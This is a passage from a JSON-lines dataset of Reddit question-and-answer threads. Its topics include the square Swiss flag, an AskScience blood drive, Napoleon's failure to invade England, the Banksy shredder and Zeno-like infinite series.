"http://en.ecgpedia.org/wiki/Sinus_Node_Rhythms_and_Arrhythmias", "http://www.uptodate.com/contents/heart-failure-beyond-the-basics?detectedLanguage=en&amp;source=search_result&amp;search=cardiac+output&amp;selectedTitle=1~4&amp;provider=noProvider", "http://en.wikipedia.org/wiki/Cardiac_output"], ["http://www.mayoclinic.com/health/wolff-parkinson-white-syndrome/DS00923"], [], []]}
{"q_id": "6ttxw1", "title": "are infamous figures referred to by three names to protect those with similar names?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ttxw1/eli5_are_infamous_figures_referred_to_by_three/", "answers": {"a_id": ["dlnl8b8", "dlnpgqx", "dlnqpjd", "dlnr3bm", "dlnrzys"], "score": [227, 4, 18, 3, 7], "text": ["No. Al Capone, gangster, is referred to by two names. Same goes for Jeffery Dahmer, Jim Jones, Charles Manson, Saddam Hussein, and Elizabeth Bathory. Hitler and Stalin just get one name. Sometimes people just go by three names, like Jamie Lee Curtis, Jennifer Love Hewitt, Philip Seymour Hoffman, and Neil Patrick Harris. As far as I know, none of them are considered infamous.", "A podcast I listen to recently touched on this and brought up how it's done for serial killers specifically, though obviously anyone can choose to go by their full name, as someone else pointed out with some celebrities.", "That is one reason.  The last thing you want is for someone with a vigilante mindset to find someone in their locality with the same first and last name and then \"take matters into their own hand\".  They want to avoid mistaken identity.\n\nThe other reason is that in the United States it is pretty uncommon for people to go by their full first, middle, and last names.  So if there is an alleged perpetrator named \"James Fields\" and he gets wide enough publicity as \"James Fields\", every other James Fields ends up with a bit of a smudge on their reputation, even among people who know that they had nothing to do with the infamous actor.  In other words, they get \"Oh...your name is James Fields, like that guy from Charlottesville\".  OTOH, if the media refers to them in an uncommon way that seems unnatural, like \"James Alex Fields Junior\", then it creates a bit of a separation between the alleged perpetrator and everyone who shares the name.  Basically, it's an attempt to avoid \"ruining the name\" rather than an attempt to avoid \"mistaken identity\".", "Cant say for sure, but i refer to myself with my middle name/initial all the time.  For 2 main reasons, on paper and emails, it looks more professional, people tend to take it a bit more seriously.  Also my first and last initial is K, so I add my middle initial to remove all doubt that my i tials are not KKK.", "It's just to be specific. The people you listed are all criminals, and they were ID'd in the news by all three names because their three names together are less common than two. \n\nE.g. There were plenty of John Booth's when Lincoln was killed, but far fewer John Wilkes Booth's."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3rpmy8", "title": "how does light/photon speed back up to c after it exits a medium like glass?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rpmy8/eli5_how_does_lightphoton_speed_back_up_to_c/", "answers": {"a_id": ["cwq7bjc", "cwq9edk"], "score": [2, 13], "text": ["There are a few ways to think about this problem. The first is to start with the photon entering the medium on one side, then it travels through the glass and exits on the other side. Based on conservation of momentum, you know that the photon speed must be the same before and after the glass. \n\nThere is another way to consider this problem as well. The photon isn't exactly travelling *through* the medium. It is actually constantly being absorbed (any time it collides with another particle in the medium) and re-emitted in a loss-less manner. This means the photon hits a particle in the glass, excites that particle, and then a **new photon** is released when the particle falls back to the ground state. Each photon moves at the speed of light, c, however the total speed of the photon path is lower than c because of the finite time involved in the excitation and re-emission of individual photons.", "All the other answers are very very wrong. The *apparent* slower speed of light in materials like glass is **not** because the photons are ricocheting and taking longer paths. This is a really really really bad misconception where people try to treat the photon as a pinball of sorts. Here's two [1](_URL_0_) [2](_URL_1_) videos from SixtySymbols that go into a lot of detail on the topic. I timestamped them to the part where they explain why the common explanation of ricocheting is wrong.(first video is 16min, second is 9min) Just imagine if the paths of the photons though the glass were actually random, why would an image stay focused through glass? You'd get photons going in completely random directions when they exited the glass.\n\nSo what's going on? The classical way to explain this is to consider that a photon is an oscillating electric and magnetic(not important for this) field. The electric field part will cause the electrons in the glass to also oscillate. When you have an oscillating electron, it will radiate a photon. So, you end up getting a combination of the original photon and all the new photons being radiated out by the electrons. When you consider this combination of waves(called a superposition), you find that it's speed(group velocity) is less than the speed of light in a vacuum. \n\nI'm not gonna go into the quantum mechanics explanation because even as a senior undergrad, I don't understand it(It's explained a little bit in the two videos). But the key thing is that the QM explanation agrees with the classical explanation I just gave."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/CiHN0ZWE5bk?t=194", "https://youtu.be/YW8KuMtVpug?t=218"]]}
{"q_id": "8vrihf", "title": "Adopted in 1889, the Swiss flag is one of two square-shaped sovereign flags in the world. Why is the Swiss flag square? Have the Vatican - the other state with a square-shaped flag - something to do with it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8vrihf/adopted_in_1889_the_swiss_flag_is_one_of_two/", "answers": {"a_id": ["e1pzuni"], "score": [496], "text": ["The short answer to this is that it is not known why it is square. Like Orwell's war with Eastasia, the flag of Switzerland has always been square. Especially since the law that lead to the adoption of the symbol as the symbol for Switzerland did not make a difference between flag and national coat of arms. It said:\n\n >  The coat of arms of the federation is, within a red field, an upright white cross, whose [four] arms of equal length are one and a sixth times as long as they are wide.\n\nUntil a recent law in 2017 neither the relation between the cross and the flag, nor the square form of the flag were officially signed into law and as stated above, when adopted it served both as coat of arms and flag at the same time. Similarly, the specific shade of red was also not defined until 2017 when Switzerland officially defined Pantone 485 as \"Swiss Red\".\n\nLike its square shape, the exact origin of the Swiss Cross on Red is also unknown. Various authors point to the battle of Laupern 1339 as the first use of the cross for troops of the Old Confederacy (The Old Swiss Confederacy refers to the federation of cantons and cities that existed on the territory of Switzerland until Napoleon conquered the territory and created the Helvetic Republic), the evidence for which comes from the Berner Chronicle written in 1420.\n\nWherever it came from, wider use of the white cross on red ground as a marker of Swiss troops is attested from the mid-16th century forward when Swiss mercenaries used it as their sign in battle and it was also adopted as the official coat of arms of the Canton of Schywz, which was one of the original members of the Old Confederacy and which inspired the modern name of Switzerland in German, Schweiz.\n\nAnyway. like many things, the flag confusion went out of the window with the invasion of Napoleon, who was responsible for, among other things, spreading the use of national flags in general, preferably with three colors. And so it was in the case of Switzerland. With the end of the old confederacy and the start of the Napoleonic Helvetic Republic came [this flag](_URL_0_), which represented the new order and which in some cases could be found in both square and rectangular versions.\n\nThe end of the Napoleonic order with the Vienna Congress in 1815 brought \u2013 again \u2013 a new order in terms of flags. For Switzerland specifically the use of the Swiss Cross on Red Ground as a popular military flag. Referring back to the older symbol used by Swiss mercenaries and the Canton of Schwyz, General Niklaus Franz von Bachmann first introduced the symbol in form of an armband as the symbol all Swiss troops would use in order to distinguish themselves. This was then further expnaded in the 1830s and 1840s when General Guillaume-Henri Dufour introduced the symbol as a flag for all Swiss army units in addition to the flags and symbols of their cantons.\n\nFrom the 1830s onward, many Swiss politicians and reformers had also been pushing for a new organization of the confederation and had used that symbol as virtually one of the very few ones available to them (aside the Napoleonic HR flag, which they didn't like for understandable reasons) as a symbol of unification reforms. When this finally came true in 1848 and Switzerland got a constitution that lead to them founding the federal state of Switzerland, they did not yet adopt a national flag, but at that time only a military flag: A White Cross on a red field.\n\nThis would then finally become both the coat of arms and the flag of the federal state of the Swiss Confederation in 1889 and by that time the square shape had already had a long tradition, even when used as a military flag \u2013 a tradition that held true until officially singed into law in 2017.\n\nNow, it is possible to speculate that the square shape of the flag was related to its traditional use as a military flag/banner. However, according to most primary sources, neither Bachmann nor Dufour nor any modern military source mentions whether the flag was supposed to be square or rectangular. It was just far more often used in a square shape and so the unsatisfying answer to this question is simply: The Swiss flag is square because the Swiss say it's always been square.\n\nAs for the Vatican Flag: The only relation is that both flags gained widespread use and popularity because of the Napoleonic wars \u2013 a real vexiological turning point as it turns out \u2013 and is reminiscent of the flag previously used by the Church State in Italy, which was also square, only with red and yellow as its colors. As with Switzerland the answer concerning the square shape is tradition. It's been square before so it is square now.\n\nWith flags as with, say, the DIN A4 paper size standard, the international wide-spread adoption of a sort of standard just happened really, with no law or event prescribing that flags are supposed to be square or standard paper be 210 \u00d7 297 millimeters in size. People sort of, kind of, just did it because others did it and so it spread with only few outliers in both cases (looking at you, US letter size paper and Nepalese Flag).\n\nSources:\n\n* Louis M\u00fchlemann: Wappen und Fahnen der Schweiz. Z\u00fcrich 1980.\n\n* Peter F. Kopp: Schweizerkreuz. In: Historisches Lexikon der Schweiz."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/thumb/b/b3/Flag_of_the_Helvetic_Republic_%28French%29.svg/1200px-Flag_of_the_Helvetic_Republic_%28French%29.svg.png"]]}
{"q_id": "pj132", "title": "[META] The Official AskScience Spring Blood Drive", "selftext": "Reddit has proven time and again that we can band together and do something great, and AskScience is ready to do its part. No matter where you live in the world, there is always someone who needs donated blood. When a disaster strikes, even more blood is needed creating a demand that leaves blood supplies dangerously low. You can have a life saving impact on someone's life by spending just an hour or two donating blood.\n\nDid you know that when donating blood it is separated into different components, each with a different use and shelf life? Because the shelf life of these components isn't forever, new supplies must be collected every day.\n\n**Red Blood Cells: Up to 42 Days**\n\nRed blood cells are used in patients undergoing radiation or chemotherapy, surgery or trauma patients, dialysis patients, premature infants, and in patients with sickle cell anemia.\n\n**Plasma: 1 Year**\n\nPlasma is used in patients experiencing abnormal blood clotting, such as liver failure patients, burn patients, and patients experiencing shock.\n\n**Platelets: 5 Days under constant agitation**\n\nPlatelets are used in patient experiencing post-operative bleeding, chemotherapy patients, and bone marrow transplant patients.\n\n**Cryoprecipitate: 1 Year**\n\nCryoprecipitate is a very special blood product and is only a tiny fraction of the blood. The proteins that make up this component are essential to patients with clotting disorders such as Hemophilia and vonWillebrand disease. \n\n---\n\nSo this is what we'll do:\n\n**Donation flair!**\n\n* We're going to give each redditor who donates blood, blood cells, or plasma a teeny bit of flair.\n\n* To indicate a donation, please reply to [this thread](_URL_4_) and include the text #donated and you will be given flair and be counted toward our statistics.\n\n* You'll keep the flair until the next blood drive! \n\n* If you can't donate blood yourself for whatever reason, we'll still give you flair if you donate money to the red cross (or similar group), or if you convince somebody else to donate in your place.\n\n* Feel free to post images of stickers and things you get when you donate, as \"verification\". This is entirely optional, and remember not to share identifying details online!\n\n**Links to find local donation sites**\n\n* Austrailia: _URL_3_\n\n* North America: _URL_2_\n\n* United Kingdom: _URL_1_\n\n\n**AMA!**\n\n* Go to the AMA [here](_URL_0_)! I'll be answering questions over the next day or two about blood, donating blood, and anything else you want to ask!\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pj132/meta_the_official_askscience_spring_blood_drive/", "answers": {"a_id": ["c3pr8sf", "c3prn8s", "c3ps1x7", "c3ps3i4", "c3ps3ku", "c3ps4hq", "c3ps611", "c3psml4", "c3psnze", "c3pt4ur", "c3ptdip", "c3ptl1v", "c3puz4z", "c3puzqn", "c3puzqr", "c3pv5v2", "c3pvbop", "c3pvcl3", "c3pvj2b", "c3pw4nx", "c3pwjda", "c3pyeqn", "c3pzoxk", "c3qb216", "c3qepvw", "c3qgbyc", "c3qij0z", "c3qk0gt", "c3qr4uz", "c3r3es2", "c3rc8np", "c3rfwat", "c3rq54p", "c3rsbgk", "c3rtni3", "c3rwg30", "c3ryds9", "c3ryl8v", "c3s12u1", "c3s5eta", "c3s8ou8", "c3spnod", "c3sz77l", "c3v4wum", "c3x43qx", "c3x4ybo", "c3xaazr", "c3xckdm", "c3ybai8", "c41ketq"], "score": [7, 6, 2, 7, 2, 54, 2, 5, 6, 3, 2, 3, 2, 4, 2, 55, 3, 83, 2, 3, 3, 7, 8, 2, 2, 4, 3, 2, 3, 6, 2, 2, 5, 6, 2, 2, 2, 2, 2, 2, 2, 3, 2, 6, 2, 2, 2, 2, 3, 2], "text": ["What a weird coincidence, I actually donated just today. The entire process took about 1.5 hours (it took longer because it was my first time) and was almost entirely painless. Afterwards, they gave me a milkshake and some sausage rolls! According the the nurse that took my blood, the average donation saves 3 lives. I just gave red blood cells since it's my first time but I'll give plasma in the future. I also signed up to be a bone marrow donor at the same time but you obviously don't need to do that. I'm doing it again as soon as I can.\n\nNote: I'm from Australia, it may be different where you're from.", "I'm not allowed to donate blood because I was given donated blood back in the early 90's during surgery. I wish I could but they won't take it, meh. Off to Facebook to try and get someone to do it in my place then I guess.", "Off to my local Red Cross Blood Service!", "Add this to the post: _URL_0_\nIt is the swedish site for blood donors.", "I honestly wish I could donate. There's a rule where being born in England during (1989 - 1998??) you have a risk of Crutzfeld-Jacob disease (aka Mad Cow) that prevents me from donating in Canada though. \n\nI think if we spread this drive out to other subreddits, we could really make a huge difference. Is that a possibility OP?", "As a symptomatic carrier of factor VIII deficient Hemophilia, I'd like to thank everyone in advance.  Donations have saved my family members' lives.  ", "I would donate, but they won't let me as I don't weigh enough. Sad times =C", "For those of you who can't donate blood, and aren't in the position to donate financially, remember that **your time** can be a very valuable donation as well!", "_URL_0_\n\nFor Irish here.", "Just donated for the 1st time Wednesday! It took about two hours including laying down for quite a while afterwards. I was terrified of doing it, but I'm so glad I did.", "As a person who has lived 5 years and 5 months in Europe in the 80's, I am not allowed to give blood in the US. How does that still make sense. Is the risk of CJ really that great that it overrides the need for O+ blood?", "I give blood regularly. The blood bank loves my B- blood.", "I have A+\nSometimes I think it doesn't worth donating, I mean, is one of the most common types of blood around here.", "I just want to encourage everyone to make sure the donated blood is going where they want it to go.  I know Red Cross comes to my area on a regular basis and actually \"competes\" with a local blood bank for donations, but Red Cross doesn't actually serve my area in any way.  Any donated blood is taken elsewhere.  The local blood bank loses a lot of potential donations that would be used locally because the Red Cross misleads people.\n\nEither way your blood is being used for a good cause, just make sure you understand where it's going.", "I'm one of those poor saps who has vaso-vagal reactions with needles and blood. I would give, but it's such an unpleasant experience that I can't even work up the courage to be willing to deal with it. Anyone else had this problem and been able to get over it?", "Ha ha! I'm scheduled to give blood in an hour anyway. I'll take your petty flair, but know this: I don't do it for the flair. I do it for the feeling of moral superiority and the arm bandage that says, \"Hey, I give blood like a boss, saving babies and baby's mommas n shit; you're just some guy on a bus. That's right, I'm a hero amongst men you blood-bloated peasant.\"\n\nAlso: I get drunk quicker and cheaper afterwards.\n\nAlso, Thanks for the flair, I guess, deep down, it's kinda for the flair.", "#donated my O- to my local [blood center](_URL_0_) last week in my school's blood drive. Don't have verification but you can trust me, I'm from the internet!", "Unfortunately I am permanently banned from donating blood because I am gay. The first time I went to donate, I did not know about this ban and simply answered the questions truthfully. After the questions were over, the guy administering the donation printed out a sheet informing me that I cannot and never can give blood. As a teenager who had just recently come out, this really hurt to get a piece of paper basically saying \"your gay blood isn't good enough\". \n\nI commend everybody who donates their blood, and I would too if I could. If you have the time, also consider [signing this petition](_URL_0_) or writing your members of Congress to urge the FDA to change their policy banning sexually active gay and bisexual men. The Red Cross and American Blood Bank Association have publicly announced that they think the ban no longer has any justification, and only contributes to the lack of blood supply. ", "_URL_0_ for Canada!", "I'm curious about your data. Unless things have changed in the last couple years (always possible) in NHSBT:\n\n\nRed blood cells could be kept for upto 35 days, but if you irradiated them, their shelf life was shortened to about 8 days.\n\nFresh frozen plasma could be kept for up to two years (at -40C!).\n\nPlatelets - yup 5 days. Apparently 'they' found that the constant movement was probably not needed, once every day would be enough. This was after they bought the expensive 'platelet shakers'. I think they still use the shakers because it's easier than arranging for someone to agitate them each day. For us lab staff it made us think about how much of what we do/did was based on superstition rather than fact.\n\nI saw a platelet pack clot up once, it looked like mozzarella that had been grated, melted and left to cool. Stuff smells like marmalade, tangy. Platelets have to be kept at 21C, so that's the temperature the lab was always kept at.\n\nI've also seen whole blood that had 'settled' after sitting around for a couple of hours, it went dark green, dragon style!", "_URL_0_ \n\nIs the website for Dutch people. Can be added too :)", "For first time givers:\nI used to have difficulty giving blood: I've passed out, had to have nurses pump my legs, often got light headed. So, to avoid that...\n\nDrink lots of water. I drink as much as a can.\n\nDon't skip meals and **eat right before you go in**. I stop at a burger joint just outside the blood center, get a burger and a large water before going in. It always helps.\n\nI think that you have to be 17 and 105 or 120 pounds, I forget.\n\nGood luck.", "There was a blood drive at my high school today, and I tried to donate. However, my iron was too low :( #triedtodonate", "I signed up to give blood a week from this Friday!", "I'm terrified of needles (breaking down shaking and crying even though I'm 21) :/ even after countless surgeries and bloodtests. Does it really make a difference to donate blood?", "Blood donors saved my brother's life, and I wish I could donate!! I can't donate due to field work in strange countries, but you've motivated me to look in to donating my time.. this is a fantastic idea ! :)", "I tried to give blood the other day, but was declined due to having spent three years in Germany (84-86) while I was young, and I'm now at risk for Mad Cow.  :(\n\nThey're [working on a way to detect Mad Cow](_URL_0_), though, so maybe in the future...\n\n*\"Where's the beef?\" he asked angrily*", "_URL_1_\n\nFor Kiwis.  I'm stoked about this thread. \n\n I have been meaning to donate for a while after reading [this amazing article](_URL_0_) about how doctors from the Iraq war learned new techniques for blood transfusions which are much more efficient. Very interesting read. ", "Link for UK is good for England and Wales, but for Scotland the best link is _URL_0_ - we have a (mostly) separate NHS up here.\n\nI'm hoping to donate soon, once I've found out my work shifts. Never donated before as I had a fear that they would find something wrong with it - but as I had blood tests for something else last year, that excuse no longer works.", "I donate every 4months! \n\nThis is me two weeks ago\n\n_URL_0_", "Ha what a coincidence! I just donated yesterday. That makes 12 now which I found out is roughly equal to the total amount of blood in a human body. :)", "_URL_0_\n\nIcelandic blood bank", "US Army medic here. I donate, draw, and transfuse blood on the regular. This is really a great idea, thank you and much kudos to the OP.\n\nBtw, not all blood is equal. If you are O+, A-, B- and especially O-, we really could use your donations. If you aren't one of those, still donate, your blood is just less versatile then those above.", "Thank you all for donating. Know that my life has been saved. It took over three thousand blood donors (takes about a thousand to make a dose of immunoglobulin) to save my life. So, thank you all. I wish I could donate, but, I'm not eligible. [xcomment from here](_URL_0_). Seriously, you guys have saved my life. Keep it up. ", "Just #donated yesterday.", "Hi, [this](_URL_0_) seems to be a resource for finding government blood banks in India, though I'm not sure if this itself is a government sponsored org or not. Nevertheless, if you add it to your links, it might help others here looking for local blood banks to donate to.", "I'm right in between platelet donations.  Every other Friday afternoon  ;)", "Wait I just put the number here? ", "[New York Blood Center](_URL_0_)\n\nFor NY/NJ donors!", "I give blood this evening (UK). It's my first time! How long will it take? ", "I love donating blood! Not the fact that I get stuck with a needle, but that I am saving lives! In fact, I have AB-, supposedly the rarest blood type. Also, I'm in the Gallon club. Yay, blood!", "Regular donator of blood for several years #donated I see it as an investment for when I will need it myself.\nAt least where I'm living, you get juice and a sandwich and ice cream if you want for donating blood. How could a small bag of blood not be worth that!", "I'm scheduled to donate on next sunday will show proof when I do a double red. I do have a related question if AS will indulge me. \n\nI've been told I have a 'rare' blood-type, A-. The bloodcenter always calls me the day I can donate again. How much BS is the 'we are low on your blood-type' versus the 'call everyone and say that'? Is there really not that much of my blood-type on hand typically?", "I have wanted to donate blood since the day I was old enough to grasp the concept of blood donation.\n\nThen I discovered I couldn't. Why?\n\nBecause I was born in Wales and spent more than 6 months there between the years of 1980 and 1989. Thanks to the patently ridiculous amount of hysteria over mad cow disease, the Red Cross here in Australia have put a total blanket ban on anyone who, as I did, spent more than 6 months there between those two years.\n\nI can't donate blood. I can't donate plasma. I can't even donate fucking **platelets**, and holy shit does this ever piss me the fuck off. Sometimes I wish I had some super-rare, super-important blood type just so I could hang it in their ridiculous, paranoid faces.", "i'm not allowed to donate, i have chronic fatigue :(", "i'm bisexual so i plan on having sex with another man at some point in my life i will eventualy be banned from donating. however since i'm still a virgin and my 18 birthday is coming up soon i'm going to try and see if i can donate blood on my birthday.", "I agree that prions are scary and undetectable. But they are already present in America, so quarantine isn't useful. They already have Mad Cow in the US. American donors are just as bad a risk as European donors.", "Type O+ here, just waiting til I can donate again (did it last month), then off goes another batch of RBC's to those in need!", "Just donated about an hour ago. Posted in the #donation thread.\n\nMade the mistake of reading the [Thank You, from donation receivers] folder. \n\nMade it halfway through the third page and almost onioned everywhere. Only kept it together by closing the folder and backing away slowly, back to the safety of the tea and biscuits table.\n\nThis was the 2nd: [Imgur](_URL_0_)\n\nIf that's not reason enough, I don't know what is.", "I #donated for my 6th time last week! It's been a while because of my pesky iron levels. Hardly hurts, took me about 7 minutes to actually give the blood and you're usually very well looked after :) \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askscience/comments/pij94/ama_i_am_medical_laboratory_scientist_ask_me/", "http://www.blood.co.uk/", "http://www.aabb.org/resources/donation/Pages/bblocator.aspx", "http://www.donateblood.com.au/", "http://www.reddit.com/r/askscience/comments/pj113/official_askscience_blood_drive_ive_donated_thread/"], "answers_urls": [[], [], [], ["www.geblod.nu"], [], [], [], [], ["http://www.giveblood.ie/"], [], [], [], [], [], [], [], ["http://www.cbco.org/"], ["http://www.change.org/petitions/save-a-life-petition-to-repeal-the-fdas-msm-blood-ban"], ["http://www.blood.ca"], [], ["http://www.sanquin.nl/"], [], [], [], [], [], ["http://www.thelancet.com/journals/lancet/article/PIIS0140-6736%2810%2962308-2/abstract"], ["http://www.listener.co.nz/current-affairs/new-blood-transfusion-technique-saves-lives/", "http://www.nzblood.co.nz/Give-blood/Where-to-donate"], ["http://www.scotblood.co.uk/"], ["http://imgur.com/Pe4yP"], [], ["http://www.blodbankinn.is/"], [], ["http://www.reddit.com/r/askscience/comments/pj113/official_askscience_blood_drive_ive_donated_thread/"], [], ["http://www.indiabloodbank.com/"], [], [], ["http://www.nybloodcenter.org"], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/SSEvw"], ["http://i.imgur.com/XoFMR.jpg"]]}
{"q_id": "2nvx0r", "title": "professional gaming?", "selftext": "Where does prize pools come from?\nhow big are companys like Cloud9 and CLG (how many teams/games do they cover? and are they considered companys?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nvx0r/eli5_professional_gaming/", "answers": {"a_id": ["cmhdulm"], "score": [3], "text": ["Prize pool comes from whatever company sponsors a particular event. If it is LCS, for example, it comes from Riot (the company that created League of Legends). If it is IEM (Intel Extreme Masters), then it's Intel. Cloud9 and CLG aren't very big. Until very recently they were only involved in League of Legends, about a month ago CLG acquired a Halo team. But there are much larger esports organizations out there - Evil Geniuses, Complexity, Ninjas in Pajamas, Fnatic etc. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9m00v7", "title": "how did the banksy painting know to shred when being auctioned?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9m00v7/eli5_how_did_the_banksy_painting_know_to_shred/", "answers": {"a_id": ["e7aqdwx", "e7aqtjn", "e7asedj", "e7aula8", "e7av8y9"], "score": [178, 31, 17, 13, 3], "text": ["Since it appears that Banksy was either there in person, or had an agent there, because he had really good film of the event that showed on his instagram, it seems likely that the person filming activated it remotely. ", "Did anyone see the lead singer of massive attack there?", "Honestly, I have to figure the thing was staged.... what shredder (or other electronic device) would have the battery charge after X amount of years to function?", "Why did he only shred half? He wanted to still be in one piece so it could be sold. ", "It's Robert Del Naja from 'Massive Attack' (old news), he's just trolling, as he always has done. Someone near had a remote control to trigger it. Love it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2tzg3w", "title": "Why did Napoleon never attack England directly, on their soil?", "selftext": "I've been reading about Napoleon, he was a fascinating historical figure. A lot of what he's done makes sense more or less but there is one thing I don't really get. He was trying to enforce the continental blockade to impoverish England and basically defeat it financially. He put LOTS and LOTS of money into that blockade even though it never fully worked. And then when he realized that Russia was still not obeying the blockade he attacked it.\n\nI understand that the French navy was weak compared to the English Navy but wouldn't it have been much cheaper to just build amazing ships and send all of them with a huge army over to England rather than spend tons of money on this blockade plus then trying to invade Russia? \n\nCan someone more read on Napoleon or just that time in general explain it to me?\nThank you.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2tzg3w/why_did_napoleon_never_attack_england_directly_on/", "answers": {"a_id": ["co3pa4p", "co3s4li", "co3skgx", "co3t0ng", "co3wiyz"], "score": [23, 4, 16, 10, 2], "text": ["Generally, the poor French Navy dooms any attempt at an English invasion. Combine that with more pressing Continental issues, Napoleon had no method of attacking England, which us why he created the Continental System as a means of economic warfare.\n\nThe British had two great defenses, a fantastic navy that consistently showed it's superiority over most other navies and the Channel. Since the Channel is the only way Napoleon could attack, if he were to attack he would devote time to crossing with an army which would get attacked by the British home fleet. On top of that, even if Napoleon was to successfully cross he'd be stranded in a hostile country with no supply line. Thus it was deemed that any sort of attack on Britain would be impossible.", "One thing to remember is that ships take a long time to build. Timber needs to be cut and aged for a bit, shaped, brought to the shipyard, the all the thousands of small accoutrements, miles of cordage, copper plating, sail cloth, and dozens of gun, even for a small 36 gum frigate. \n\nAfter 1805, the French were virtually without any ships of the line, and those that remained were stuck in port. It would and did take years to replace the losses. You also need lots of experienced sailors, and more importantly experienced officers to even hope to try to match the RN those would take even longer to replace. ", "Building ships is one thing.  Having a navy in the Napoleonic period means that you have to train tens of thousands of men in how to shoot the guns in large ships, thousands in how to safely sail a ship, dozens in how to command a large ship, and a handful of men in how to direct the actions of a fleet.  Screw up any of these tasks and you have not a navy, but a gigantic disaster.\n\nThe British strategy was to keep a close blockade against French and allied ports preventing the supplies to build ships from getting to the ports, but equally as important, to prevent the French navy from getting any training at sea that might help it become an effective battle force. ", "In addition to what's been said here, navies are extraordinarily expensive -- by far the most expensive arm of any military branch, including in modern times. Napoleon chose not to spend the money to build enough high-quality ships to match the British navy (if he had the money), nor did he have the patience to take the time necessary to train qualified sailors and officers. His infantry tactics were built around formations of conscript troops that could, with little training, use shock tactics to defeat enemies; his navy similarly spent little time at sea (partly because it was generally blockaded by the British) and little time practicing seamanship. It takes years if not decades to train competent sailors, and Napoleon did not invest in that. \n\nFor a good basic read on the cost of navies, John Keegan's \"The Price of Admiralty\" is worth a read. ", "Thank you everyone that responded, it makes a lot more sense now. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3swjqt", "title": "what does the red cross mean next to the points in a reddit comment?", "selftext": "EDIT: solved thanks", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3swjqt/eli5_what_does_the_red_cross_mean_next_to_the/", "answers": {"a_id": ["cx0z0x0", "cx0z208"], "score": [7, 25], "text": ["Could you Permalink to a comment that has that? I can't really think of anything like that", "It means that voting on the comment was controversial, meaning there were both a good number of upvotes as well as downvotes to arrive at that score."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bg1abt", "title": "to move from 0 to 1 second. time must pass through 0.1 seconds, 0.11, 0.111, 0.1111 and so on to infinity. so how does it ever actually pass infinity to reach 1?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bg1abt/eli5_to_move_from_0_to_1_second_time_must_pass/", "answers": {"a_id": ["elhmkeb", "elhmnuv", "elhn157", "elhn3hd", "elhpg4d", "elhq9gn", "elhqrkp", "eli27p8", "eli9z1r", "elinmwz"], "score": [35, 18, 86, 6, 6, 2, 2, 2, 3, 2], "text": ["If you ask the same question about motion, this is known as [Zeno's Paradox](_URL_0_).\n\nIn both cases, the flaw is in assuming that the physical world is infinitely divisible.  All of modern science say that this is not the case.  Let's take an apple and cut it in half.  Cut it in half again over  &  over again.  Eventually, you get down to an individual atom and you can't just cut that in half (or, if you want to go an extra step or two, you end up at protons/neutrons which can't be split).  This is where your *abstract mathematical model* of the universe stops being an accurate representation of reality.", "Time doesn't slow down when you divide it into smaller and smaller pieces.  A second is still a second.\n\nI mean, I could divide a cup of water into 0.1 cups, 0.11 cups, 0.111, 0.1111 and so on to infinity.  But I can still drink a cup of water no problem.", "This is one of zeno\u2019s paradoxes (sort of)!\n\nLike you, he didn\u2019t understand how can anything change if it can be infinitely divided.\n\nThe answer came in the form of math almost two thousand years later with infinite series. The simplified answer is that just because there are *inifinite steps* to take, doesn\u2019t mean you have to *pass infinity*. At some point the steps become so small that they hardly change the sum at all.\n\nThis might be easier to understand using another example by Zeno : imagine you have to walk in a 1km course. To finish it, you must pass the half mark, but first you must pass the quarter mark, and so on and so on. You can keep halving the distance inifinitely. But eventually the distances become so small they are smaller than even the radius of an atom. Just because there are infinitely many little pieces doesn\u2019t mean you can pass them.\nWe can actually calculate that sum and show that 0.5+0.25+0.125+... on and on infinite times= exactly 1.\n\nFurther reading [here](_URL_0_)", "Ypu are correct sort of. What you need to remember is that time doesn't slow down and wait for you to count.\n\nSo all the infintesimally small points will pass by infentesimally fast. And you will still reach 1 second in 1 second.", "You're taking a second and splitting it into infinitely many pieces. So when you put those pieces together again, it can't take more than a second.\n\nThe intuition you're fighting against is that when you add infinitely many things, you should get an infinite result. This is true for some infinite sums, for example 1+1+1+1+1+... eventually becomes larger than any number. But that's not true for all infinite sums.\n\nYou might notice that when you do finite sums, you can get all sorts of results in all sorts of ways. For example, 4 can be made of 2s (2+2) or 1s (1+1+1+1) or halves (1/2+1/2+1/2+1/2+1/2+1/2+1/2+1/2) and you might notice each of those sums are getting longer.\n\nAlso consider only splitting the final number. 4 can be written as 2+2, or 2+1+1, or 2+1+1/2+1/2 or 2+1+1/2+1/4+1/4. All finite sums, all sum to 4 despite being longer and longer sums.\n\nNow what do you think 2+1+1/2+1/4+1/8+1/16+1/32+1/64+1/128+... might mean? What do you think it should sum to?", "Time is (as far as we know) continuous. It doesn't \"pass through\" any subdivision of time. Dividing time into sub-units is a convenience for humans to keep track of it. As far as the universe is concerned, there is only one unit of time - all of time.", "There are two kinds of infinite series: divergent and convergent.\n\nA divergent infinite series sums to \u221e, or perhaps -\u221e.  If the thing you were doing to time were divergent, then time would not pass, according to your model of time.  Usually, this is detected as a flaw in the model, if you get a divergent series in your model of reality, then your model is 